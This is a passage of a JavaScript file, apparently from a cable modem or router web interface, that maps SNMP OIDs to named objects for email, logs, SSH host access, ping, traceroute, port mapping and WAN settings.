\"1.3.6.1.4.1.4115.1.20.1.1.5.18\");\nEmailSettings.EmailServerName= new Scalar(\"EmailServerName\",\"1.3.6.1.4.1.4115.1.20.1.1.5.18.1\",4);\nEmailSettings.EmailServerUser= new Scalar(\"EmailServerUser\",\"1.3.6.1.4.1.4115.1.20.1.1.5.18.2\",4);\nEmailSettings.EmailServerPW= new Scalar(\"EmailServerPW\",\"1.3.6.1.4.1.4115.1.20.1.1.5.18.3\",4);\nEmailSettings.EmailAddress= new Scalar(\"EmailAddress\",\"1.3.6.1.4.1.4115.1.20.1.1.5.18.4\",4,1);\nEmailSettings.EnableLogEmail= new Scalar(\"EnableLogEmail\",\"1.3.6.1.4.1.4115.1.20.1.1.5.18.5\",2);\nEmailSettings.EmailApplySettings= new Scalar(\"EmailApplySettings\",\"1.3.6.1.4.1.4115.1.20.1.1.5.18.6\",2);\n// scm x2 lines\nEmailSettings.EmailSenderAddress    = new Scalar(\"EmailSenderAddress\",    \"1.3.6.1.4.1.4115.1.20.1.1.5.18.8\",4);\nvar arEmailSenderAddress   =EmailSettings.EmailSenderAddress    ;\n\nvar arEmailServerName=EmailSettings.EmailServerName;\nvar arEmailServerUser=EmailSettings.EmailServerUser;\nvar arEmailServerPW=EmailSettings.EmailServerPW;\nvar arEmailAddress=EmailSettings.EmailAddress;\nvar arEnableLogEmail=EmailSettings.EnableLogEmail;\nvar arEmailApplySettings=EmailSettings.EmailApplySettings;\n\n// scm new container.\nvar EmailNotifys = new Container(\"EmailNotifys\",     \"1.3.6.1.4.1.4115.1.20.1.1.5.18.7\");\nEmailNotifys.EmailNotifyTypeFW     = new Scalar(\"EmailNotifyTypeFW\",     \"1.3.6.1.4.1.4115.1.20.1.1.5.18.7.1\",2);\nEmailNotifys.EmailNotifyTypePC     = new Scalar(\"EmailNotifyTypePC\",     \"1.3.6.1.4.1.4115.1.20.1.1.5.18.7.2\",2);\nEmailNotifys.EmailNotifyTypeAlert  = new Scalar(\"EmailNotifyTypeAlert\",  \"1.3.6.1.4.1.4115.1.20.1.1.5.18.7.3\",2);\nEmailNotifys.EmailNotifyTypeWarning  = new Scalar(\"EmailNotifyTypeWarning\",  \"1.3.6.1.4.1.4115.1.20.1.1.5.18.7.4\",2);\nvar arEmailNotifyTypeFW    =EmailNotifys.EmailNotifyTypeFW     ;\nvar arEmailNotifyTypePC    =EmailNotifys.EmailNotifyTypePC     ;\nvar arEmailNotifyTypeAlert =EmailNotifys.EmailNotifyTypeAlert  ;\nvar arEmailNotifyTypeWarning =EmailNotifys.EmailNotifyTypeWarning  ;\n\n\nvar LogSettings = new Container(\"LogSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19\");\nLogSettings.ClearLogs= new Scalar(\"ClearLogs\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.3\",2);\nLogSettings.ChangeLogFilter= new Scalar(\"ChangeLogFilter\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.4\",2);\nvar arClearLogs=LogSettings.ClearLogs;\nvar arChangeLogFilter=LogSettings.ChangeLogFilter;\n\nvar UserLogs = new Container(\"UserLogs\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.1\");\n\nvar FirewallLogTable = new Table(\"FirewallLogTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1\");\nFirewallLogTable.FWLogIndex = new Column(\"FWLogIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.1\",2);\nFirewallLogTable.FWLogTime = new Column(\"FWLogTime\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.2\",4, 1);\nFirewallLogTable.FWLogInfo = new Column(\"FWLogInfo\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.3\",4);\nvar arFWLogIndex=FirewallLogTable.FWLogIndex;\nvar arFWLogTime=FirewallLogTable.FWLogTime;\nvar arFWLogInfo=FirewallLogTable.FWLogInfo;\n\nvar ParentalContLogTable = new Table(\"ParentalContLogTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2\");\nParentalContLogTable.PCLogIndex = new Column(\"PCLogIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.1\",2);\nParentalContLogTable.PCLogTime = new Column(\"PCLogTime\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.2\",4, 1);\nParentalContLogTable.PCLogInfo = new Column(\"PCLogInfo\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.3\",4);\nParentalContLogTable.PCLogType = new Column(\"PCLogType\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.4\",2);\nvar arPCLogIndex=ParentalContLogTable.PCLogIndex;\nvar arPCLogTime=ParentalContLogTable.PCLogTime;\nvar arPCLogInfo=ParentalContLogTable.PCLogInfo;\nvar arPCLogType=ParentalContLogTable.PCLogType;\n\nvar ChangeLogTable = new Table(\"ChangeLogTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3\");\nChangeLogTable.ChangeLogIndex = new Column(\"ChangeLogIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.1\",2);\nChangeLogTable.ChangeLogTime = new Column(\"ChangeLogTime\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.2\",4,1);\nChangeLogTable.ChangeLogInfo = new Column(\"ChangeLogInfo\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.3\",4);\nvar arChangeLogIndex=ChangeLogTable.ChangeLogIndex;\nvar arChangeLogTime=ChangeLogTable.ChangeLogTime;\nvar arChangeLogInfo=ChangeLogTable.ChangeLogInfo;\n\nvar DebugLogTable = new Table(\"DebugLogTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4\");\nDebugLogTable.DebugLogIndex = new Column(\"DebugLogIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.1\",2);\nDebugLogTable.DebugLogTime = new Column(\"DebugLogTime\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.2\",4,1);\nDebugLogTable.DebugLogInfo = new Column(\"DebugLogInfo\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.3\",4);\nvar arDebugLogIndex=DebugLogTable.DebugLogIndex;\nvar arDebugLogTime=DebugLogTable.DebugLogTime;\nvar arDebugLogInfo=DebugLogTable.DebugLogInfo;\n\nvar DHCPLogTable = new Table(\"DHCPLogTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5\");\nDHCPLogTable.DHCPLogIndex = new Column(\"DHCPLogIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.1\",2);\nDHCPLogTable.DHCPLogTime = new Column(\"DHCPLogTime\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.2\",4,1);\nDHCPLogTable.DHCPLogInfo = new Column(\"DHCPLogInfo\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.3\",4);\nvar arDHCPLogIndex=DHCPLogTable.DHCPLogIndex;\nvar arDHCPLogTime=DHCPLogTable.DHCPLogTime;\nvar arDHCPLogInfo=DHCPLogTable.DHCPLogInfo;\n\nvar LanClientLogTable = new Table(\"LanClientLogTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6\");\nLanClientLogTable.LanClientLogIndex = new Column(\"LanClientLogIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.1\",2);\nLanClientLogTable.LanClientLogTime = new Column(\"LanClientLogTime\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.2\",4,1);\nLanClientLogTable.LanClientLogInfo = new Column(\"LanClientLogInfo\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.3\",4);\nvar arLanClientLogIndex=LanClientLogTable.LanClientLogIndex;\nvar arLanClientLogTime=LanClientLogTable.LanClientLogTime;\nvar arLanClientLogInfo=LanClientLogTable.LanClientLogInfo;\n\nvar MSOLogs = new Container(\"MSOLogs\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.2\");\nMSOLogs.ClearMSOLogs= new Scalar(\"ClearMSOLogs\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.2.2\",2);\nvar arClearMSOLogs=MSOLogs.ClearMSOLogs;\n\nvar MSOChgLogTable = new Table(\"MSOChgLogTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1\");\nMSOChgLogTable.MSOChgLogIndex = new Column(\"MSOChgLogIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.1\",2);\nMSOChgLogTable.MSOChgLogTime = new Column(\"MSOChgLogTime\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.2\",4,1);\nMSOChgLogTable.MSOChgLogInfo = new Column(\"MSOChgLogInfo\",\"1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.3\",4);\nvar arMSOChgLogIndex=MSOChgLogTable.MSOChgLogIndex;\nvar arMSOChgLogTime=MSOChgLogTable.MSOChgLogTime;\nvar arMSOChgLogInfo=MSOChgLogTable.MSOChgLogInfo;\n\nvar InboundTrafficLogTable = new Table(\"InboundTrafficLogTable\", \"1.3.6.1.4.1.4115.1.20.1.1.5.42\");\nInboundTrafficLogTable.InboundTrafficLogIndex = new Column(\"InboundTrafficLogIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.5.42.1.1\",66);\nInboundTrafficLogTable.InboundTrafficLogData = new Column(\"InboundTrafficLogData\",\"1.3.6.1.4.1.4115.1.20.1.1.5.42.1.2\",4);\nvar arInboundTrafficLogIndex=InboundTrafficLogTable.InboundTrafficLogIndex;\nvar arInboundTrafficLogData=InboundTrafficLogTable.InboundTrafficLogData;\n\nvar HostAccess = new Container(\"HostAccess\", \"1.3.6.1.4.1.4115.1.20.1.1.6\");\nHostAccess.HostAccessClientSeed= new Scalar(\"HostAccessClientSeed\",\"1.3.6.1.4.1.4115.1.20.1.1.6.1\",4,1);\nHostAccess.HostCLITimeout= new Scalar(\"HostCLITimeout\",\"1.3.6.1.4.1.4115.1.20.1.1.6.2\",66);\nHostAccess.HostAccessSSHEnable= new Scalar(\"HostAccessSSHEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.6.3\",2);\nHostAccess.HostAccessSSHPassword= new Scalar(\"HostAccessSSHPassword\",\"1.3.6.1.4.1.4115.1.20.1.1.6.4\",4);\nHostAccess.WebAccessFreeIdx= new Scalar(\"WebAccessFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.6.5\",2);\nHostAccess.WebAccessSetting= new Scalar(\"WebAccessSetting\",\"1.3.6.1.4.1.4115.1.20.1.1.6.6\",2);\nHostAccess.WebAccessWANACL= new Scalar(\"WebAccessWANACL\",\"1.3.6.1.4.1.4115.1.20.1.1.6.8\",4);\nvar arHostAccessClientSeed=HostAccess.HostAccessClientSeed;\nvar arHostCLITimeout=HostAccess.HostCLITimeout;\nvar arHostAccessSSHEnable=HostAccess.HostAccessSSHEnable;\nvar arHostAccessSSHPassword=HostAccess.HostAccessSSHPassword;\nvar arWebAccessFreeIdx=HostAccess.WebAccessFreeIdx;\nvar arWebAccessSetting=HostAccess.WebAccessSetting;\nvar arWebAccessWANACL=HostAccess.WebAccessWANACL;\n\nvar WebAccessTable = new Table(\"WebAccessTable\", \"1.3.6.1.4.1.4115.1.20.1.1.6.7\");\nWebAccessTable.WebAccessIndex = new Column(\"WebAccessIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.6.7.1.1\",2);\nWebAccessTable.WebAccessPage = new Column(\"WebAccessPage\",\"1.3.6.1.4.1.4115.1.20.1.1.6.7.1.2\",4);\nWebAccessTable.WebAccessLevel = new Column(\"WebAccessLevel\",\"1.3.6.1.4.1.4115.1.20.1.1.6.7.1.3\",2);\nWebAccessTable.WebAccessRowStatus = new Column(\"WebAccessRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.6.7.1.4\",2);\nvar arWebAccessIndex=WebAccessTable.WebAccessIndex;\nvar arWebAccessPage=WebAccessTable.WebAccessPage;\nvar arWebAccessLevel=WebAccessTable.WebAccessLevel;\nvar arWebAccessRowStatus=WebAccessTable.WebAccessRowStatus;\n\nvar PingMgmt = new Container(\"PingMgmt\", \"1.3.6.1.4.1.4115.1.20.1.1.7\");\nPingMgmt.PingTargetAddrType= new Scalar(\"PingTargetAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.7.1\",2);\nPingMgmt.PingTargetAddress= new Scalar(\"PingTargetAddress\",\"1.3.6.1.4.1.4115.1.20.1.1.7.2\",4, 1);\nPingMgmt.PingNumPkts= new Scalar(\"PingNumPkts\",\"1.3.6.1.4.1.4115.1.20.1.1.7.3\",66);\nPingMgmt.PingPktSize= new Scalar(\"PingPktSize\",\"1.3.6.1.4.1.4115.1.20.1.1.7.4\",66);\nPingMgmt.PingInterval= new Scalar(\"PingInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.7.5\",66);\nPingMgmt.PingTimeout= new Scalar(\"PingTimeout\",\"1.3.6.1.4.1.4115.1.20.1.1.7.6\",2);\nPingMgmt.PingVerifyReply= new Scalar(\"PingVerifyReply\",\"1.3.6.1.4.1.4115.1.20.1.1.7.7\",2);\nPingMgmt.PingIpStackNumber= new Scalar(\"PingIpStackNumber\",\"1.3.6.1.4.1.4115.1.20.1.1.7.8\",2);\nPingMgmt.PingStartStop= new Scalar(\"PingStartStop\",\"1.3.6.1.4.1.4115.1.20.1.1.7.9\",2);\nPingMgmt.PingPktsSent= new Scalar(\"PingPktsSent\",\"1.3.6.1.4.1.4115.1.20.1.1.7.10\",65);\nPingMgmt.PingRepliesReceived= new Scalar(\"PingRepliesReceived\",\"1.3.6.1.4.1.4115.1.20.1.1.7.11\",65);\nPingMgmt.PingRepliesVerified= new Scalar(\"PingRepliesVerified\",\"1.3.6.1.4.1.4115.1.20.1.1.7.12\",65);\nPingMgmt.PingOctetsSent= new Scalar(\"PingOctetsSent\",\"1.3.6.1.4.1.4115.1.20.1.1.7.13\",65);\nPingMgmt.PingOctetsReceived= new Scalar(\"PingOctetsReceived\",\"1.3.6.1.4.1.4115.1.20.1.1.7.14\",65);\nPingMgmt.PingIcmpErrors= new Scalar(\"PingIcmpErrors\",\"1.3.6.1.4.1.4115.1.20.1.1.7.15\",65);\nPingMgmt.PingLastIcmpError= new Scalar(\"PingLastIcmpError\",\"1.3.6.1.4.1.4115.1.20.1.1.7.16\",66);\nvar arPingTargetAddrType=PingMgmt.PingTargetAddrType;\nvar arPingTargetAddress=PingMgmt.PingTargetAddress;\nvar arPingNumPkts=PingMgmt.PingNumPkts;\nvar arPingPktSize=PingMgmt.PingPktSize;\nvar arPingInterval=PingMgmt.PingInterval;\nvar arPingTimeout=PingMgmt.PingTimeout;\nvar arPingVerifyReply=PingMgmt.PingVerifyReply;\nvar arPingIpStackNumber=PingMgmt.PingIpStackNumber;\nvar arPingStartStop=PingMgmt.PingStartStop;\nvar arPingPktsSent=PingMgmt.PingPktsSent;\nvar arPingRepliesReceived=PingMgmt.PingRepliesReceived;\nvar arPingRepliesVerified=PingMgmt.PingRepliesVerified;\nvar arPingOctetsSent=PingMgmt.PingOctetsSent;\nvar arPingOctetsReceived=PingMgmt.PingOctetsReceived;\nvar arPingIcmpErrors=PingMgmt.PingIcmpErrors;\nvar arPingLastIcmpError=PingMgmt.PingLastIcmpError;\n\nvar TraceRtMgmt = new Container(\"TraceRtMgmt\", \"1.3.6.1.4.1.4115.1.20.1.1.8\");\nTraceRtMgmt.TraceRtTargAddrType= new Scalar(\"TraceRtTargAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.8.1\",2);\nTraceRtMgmt.TraceRtTargetAddr= new Scalar(\"TraceRtTargetAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.8.2\",4, 1);\nTraceRtMgmt.TraceRtMaxHops= new Scalar(\"TraceRtMaxHops\",\"1.3.6.1.4.1.4115.1.20.1.1.8.3\",2);\nTraceRtMgmt.TraceRtDataSize= new Scalar(\"TraceRtDataSize\",\"1.3.6.1.4.1.4115.1.20.1.1.8.4\",2);\nTraceRtMgmt.TraceRtResolveHosts= new Scalar(\"TraceRtResolveHosts\",\"1.3.6.1.4.1.4115.1.20.1.1.8.5\",2);\nTraceRtMgmt.TraceRtBasePort= new Scalar(\"TraceRtBasePort\",\"1.3.6.1.4.1.4115.1.20.1.1.8.6\",2);\nTraceRtMgmt.TraceRtStart= new Scalar(\"TraceRtStart\",\"1.3.6.1.4.1.4115.1.20.1.1.8.7\",2);\nTraceRtMgmt.TraceRtLog= new Scalar(\"TraceRtLog\",\"1.3.6.1.4.1.4115.1.20.1.1.8.8\",4);\nvar arTraceRtTargAddrType=TraceRtMgmt.TraceRtTargAddrType;\nvar arTraceRtTargetAddr=TraceRtMgmt.TraceRtTargetAddr;\nvar arTraceRtMaxHops=TraceRtMgmt.TraceRtMaxHops;\nvar arTraceRtDataSize=TraceRtMgmt.TraceRtDataSize;\nvar arTraceRtResolveHosts=TraceRtMgmt.TraceRtResolveHosts;\nvar arTraceRtBasePort=TraceRtMgmt.TraceRtBasePort;\nvar arTraceRtStart=TraceRtMgmt.TraceRtStart;\nvar arTraceRtLog=TraceRtMgmt.TraceRtLog;\n\nvar ICtrl = new Container(\"ICtrl\", \"1.3.6.1.4.1.4115.1.20.1.1.10\");\nICtrl.ICtrlPortMapCount= new Scalar(\"ICtrlPortMapCount\",\"1.3.6.1.4.1.4115.1.20.1.1.10.1\",2);\nvar arICtrlPortMapCount=ICtrl.ICtrlPortMapCount;\n\nvar ICtrlPortMapTable = new Table(\"ICtrlPortMapTable\", \"1.3.6.1.4.1.4115.1.20.1.1.10.2\");\nICtrlPortMapTable.ICtrlPortMapIndex = new Column(\"ICtrlPortMapIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.1\",2);\nICtrlPortMapTable.PortMapDescription = new Column(\"PortMapDescription\",\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.2\",4);\nICtrlPortMapTable.PortMapInternalClientAddrType = new Column(\"PortMapInternalClientAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.3\",2);\nICtrlPortMapTable.PortMapInternalClientAddr = new Column(\"PortMapInternalClientAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.4\",4,1);\nICtrlPortMapTable.PortMapProtocol = new Column(\"PortMapProtocol\",\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.5\",2);\nICtrlPortMapTable.PortMapExternalPort = new Column(\"PortMapExternalPort\",\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.6\",66);\nICtrlPortMapTable.PortMapInternalPort = new Column(\"PortMapInternalPort\",\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.7\",66);\nICtrlPortMapTable.PortMapRowStatus = new Column(\"PortMapRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.8\",2);\n// scm add x 4\nICtrlPortMapTable.PortMapInternalStartPort= new Column(\"PortMapInternalStartPort\",\t\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.9\",66);\nICtrlPortMapTable.PortMapInternalEndPort= new Column(\"PortMapInternalEndPort\",\t\t\t\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.10\",66);\nICtrlPortMapTable.PortMapExternalStartPort = new Column(\"PortMapExternalStartPort\",\t\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.11\",66);\nICtrlPortMapTable.PortMapExternalEndPort= new Column(\"PortMapExternalEndPort\",\t\t\t\"1.3.6.1.4.1.4115.1.20.1.1.10.2.1.12\",66);\n\nvar arICtrlPortMapIndex=ICtrlPortMapTable.ICtrlPortMapIndex;\nvar arPortMapDescription=ICtrlPortMapTable.PortMapDescription;\nvar arPortMapInternalClientAddrType=ICtrlPortMapTable.PortMapInternalClientAddrType;\nvar arPortMapInternalClientAddr=ICtrlPortMapTable.PortMapInternalClientAddr;\nvar arPortMapProtocol=ICtrlPortMapTable.PortMapProtocol;\nvar arPortMapExternalPort=ICtrlPortMapTable.PortMapExternalPort;\nvar arPortMapInternalPort=ICtrlPortMapTable.PortMapInternalPort;\nvar arPortMapRowStatus=ICtrlPortMapTable.PortMapRowStatus;\nvar arPortMapExternalStartPort = ICtrlPortMapTable.PortMapExternalStartPort;\nvar arPortMapExternalEndPort= ICtrlPortMapTable.PortMapExternalEndPort;\nvar arPortMapInternalStartPort= ICtrlPortMapTable.PortMapInternalStartPort;\nvar arPortMapInternalEndPort= ICtrlPortMapTable.PortMapInternalEndPort;\n\n\n\nvar ICtrlGetDeviceSettings = new Container(\"ICtrlGetDeviceSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.10.3\");\nICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion= new Scalar(\"ICtrlDeviceSettingsFWversion\",\"1.3.6.1.4.1.4115.1.20.1.1.10.3.1\",4);\nvar arICtrlDeviceSettingsFWversion=ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion;\n\nvar ICtrlIsDeviceReady = new Container(\"ICtrlIsDeviceReady\", \"1.3.6.1.4.1.4115.1.20.1.1.10.4\");\nICtrlIsDeviceReady.ICtrlDeviceStatus= new Scalar(\"ICtrlDeviceStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.10.4.1\",2);\nvar arICtrlDeviceStatus=ICtrlIsDeviceReady.ICtrlDeviceStatus;\n\nvar ICtrlReboot = new Container(\"ICtrlReboot\", \"1.3.6.1.4.1.4115.1.20.1.1.10.5\");\nICtrlReboot.ICtrlInitiateReboot= new Scalar(\"ICtrlInitiateReboot\",\"1.3.6.1.4.1.4115.1.20.1.1.10.5.1\",2);\nvar arICtrlInitiateReboot=ICtrlReboot.ICtrlInitiateReboot;\n\nvar ICtrlSetDeviceSettings = new Container(\"ICtrlSetDeviceSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.10.6\");\nICtrlSetDeviceSettings.ICtrlSetDeviceName= new Scalar(\"ICtrlSetDeviceName\",\"1.3.6.1.4.1.4115.1.20.1.1.10.6.1\",4);\nICtrlSetDeviceSettings.ICtrlSetAdminPassword= new Scalar(\"ICtrlSetAdminPassword\",\"1.3.6.1.4.1.4115.1.20.1.1.10.6.2\",4);\nvar arICtrlSetDeviceName=ICtrlSetDeviceSettings.ICtrlSetDeviceName;\nvar arICtrlSetAdminPassword=ICtrlSetDeviceSettings.ICtrlSetAdminPassword;\n\nvar ICtrlRouterSettings = new Container(\"ICtrlRouterSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.10.7\");\nICtrlRouterSettings.ICtrlRouterManageRemote= new Scalar(\"ICtrlRouterManageRemote\",\"1.3.6.1.4.1.4115.1.20.1.1.10.7.1\",2);\nICtrlRouterSettings.ICtrlRouterRemotePort= new Scalar(\"ICtrlRouterRemotePort\",\"1.3.6.1.4.1.4115.1.20.1.1.10.7.2\",66);\nICtrlRouterSettings.ICtrlRouterRemoteSSL= new Scalar(\"ICtrlRouterRemoteSSL\",\"1.3.6.1.4.1.4115.1.20.1.1.10.7.3\",2);\nvar arICtrlRouterManageRemote=ICtrlRouterSettings.ICtrlRouterManageRemote;\nvar arICtrlRouterRemotePort=ICtrlRouterSettings.ICtrlRouterRemotePort;\nvar arICtrlRouterRemoteSSL=ICtrlRouterSettings.ICtrlRouterRemoteSSL;\n\nvar ICtrlWLanRadioSettings = new Container(\"ICtrlWLanRadioSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.10.8\");\nICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress= new Scalar(\"ICtrlWLanRadioMacAddress\",\"1.3.6.1.4.1.4115.1.20.1.1.10.8.1\",4,1);\nICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth= new Scalar(\"ICtrlWLanRadioChannelWidth\",\"1.3.6.1.4.1.4115.1.20.1.1.10.8.2\",66);\nvar arICtrlWLanRadioMacAddress=ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress;\nvar arICtrlWLanRadioChannelWidth=ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth;\n\nvar ICtrlSetBridgeConnect = new Container(\"ICtrlSetBridgeConnect\", \"1.3.6.1.4.1.4115.1.20.1.1.10.9\");\nICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort= new Scalar(\"ICtrlSetBridgeEthernetPort\",\"1.3.6.1.4.1.4115.1.20.1.1.10.9.1\",66);\nICtrlSetBridgeConnect.ICtrlSetBridgeMinutes= new Scalar(\"ICtrlSetBridgeMinutes\",\"1.3.6.1.4.1.4115.1.20.1.1.10.9.2\",66);\nICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable= new Scalar(\"ICtrlSetBridgePermanentPort4Enable\",\"1.3.6.1.4.1.4115.1.20.1.1.10.9.3\",2);\nvar arICtrlSetBridgeEthernetPort=ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort;\nvar arICtrlSetBridgeMinutes=ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes;\nvar arRouterICtrlSetBridgePermanentPort4Enable=ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable;\n\nvar ICtrlGetWanSettings = new Container(\"ICtrlGetWanSettings\", \"1.3.6.1.4.1.4115.1.20.1.1.10.10\");\nICtrlGetWanSettings.ICtrlGetWanType= new Scalar(\"ICtrlGetWanType\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.2\",4);\nICtrlGetWanSettings.ICtrlGetWanMTU= new Scalar(\"ICtrlGetWanMTU\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.3\",66);\nICtrlGetWanSettings.ICtrlGetWanPrefixLen= new Scalar(\"ICtrlGetWanPrefixLen\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.4\",66);\nICtrlGetWanSettings.ICtrlGetWanGatewayAddrType= new Scalar(\"ICtrlGetWanGatewayAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.5\",2);\nICtrlGetWanSettings.ICtrlGetWanGatewayAddr= new Scalar(\"ICtrlGetWanGatewayAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.6\",4,1);\nICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType= new Scalar(\"ICtrlGetWanDNSPrimaryAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.7\",2);\nICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr= new Scalar(\"ICtrlGetWanDNSPrimaryAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.8\",4,1);\nICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType= new Scalar(\"ICtrlGetWanDNSSecondaryAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.9\",2);\nICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr= new Scalar(\"ICtrlGetWanDNSSecondaryAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.10\",4,1);\nICtrlGetWanSettings.ICtrlGetWanMacAddress= new Scalar(\"ICtrlGetWanMacAddress\",\"1.3.6.1.4.1.4115.1.20.1.1.10.10.11\",4,1);\nvar arICtrlGetWanType=ICtrlGetWanSettings.ICtrlGetWanType;\nvar arICtrlGetWanMTU=ICtrlGetWanSettings.ICtrlGetWanMTU;\nvar arICtrlGetWanPrefixLen=ICtrlGetWanSettings.ICtrlGetWanPrefixLen;\nvar arICtrlGetWanGatewayAddrType=ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType;\nvar arICtrlGetWanGatewayAddr=ICtrlGetWanSettings.ICtrlGetWanGatewayAddr;\nvar arICtrlGetWanDNSPrimaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType;\nvar arICtrlGetWanDNSPrimaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr;\nvar arICtrlGetWanDNSSecondaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType;\nvar arICtrlGetWanDNSSecondaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr;\nvar arICtrlGetWanMacAddress=ICtrlGetWanSettings.ICtrlGetWanMacAddress;\n\nICtrl.ICtrlPortMapTableEnabled= new Scalar(\"ICtrlPortMapTableEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.10.14\",2);\nvar arICtrlPortMapTableEnabled=ICtrl.ICtrlPortMapTableEnabled;\n\nvar mib2system = new Container(\"mib2system\", \"1.3.6.1.2.1.1\");\nmib2system.sysName= new Scalar(\"mib2sysname\",\"1.3.6.1.2.1.1.5\",4);\nmib2system.sysDescr= new Scalar(\"mib2sysdescr\",\"1.3.6.1.2.1.1.1\",4);\nmib2system.sysTime= new Scalar(\"mib2systime\",\"1.3.6.1.2.1.1.3\",0x43);\nmib2system.sysContact= new Scalar(\"mib2syscontact\",\"1.3.6.1.2.1.1.4\",4);\n\nvar docsdevBase = new Container(\"docsdevBase\", \"1.3.6.1.2.1.69.1.1\");\ndocsdevBase.DateTime = new Scalar(\"DateTime\",\"1.3.6.1.2.1.69.1.1.2\",4,1);\ndocsdevBase.ResetNow = new Scalar(\"ResetNow\",\"1.3.6.1.2.1.69.1.1.3\",2);\ndocsdevBase.SerialNumber = new Scalar(\"SerialNumber\",\"1.3.6.1.2.1.69.1.1.4\",4);\n\nvar docsDevSoftware = new Container(\"docsDevSoftware\", \"1.3.6.1.2.1.69.1.3\");\ndocsDevSoftware.CurrentVers = new Scalar(\"CurrentVers\", \"1.3.6.1.2.1.69.1.3.5\",4);\n\nvar mib2interface = new Container(\"mib2interface\", \"1.3.6.1.2.1.2\");\nmib2interface.ifNumber= new 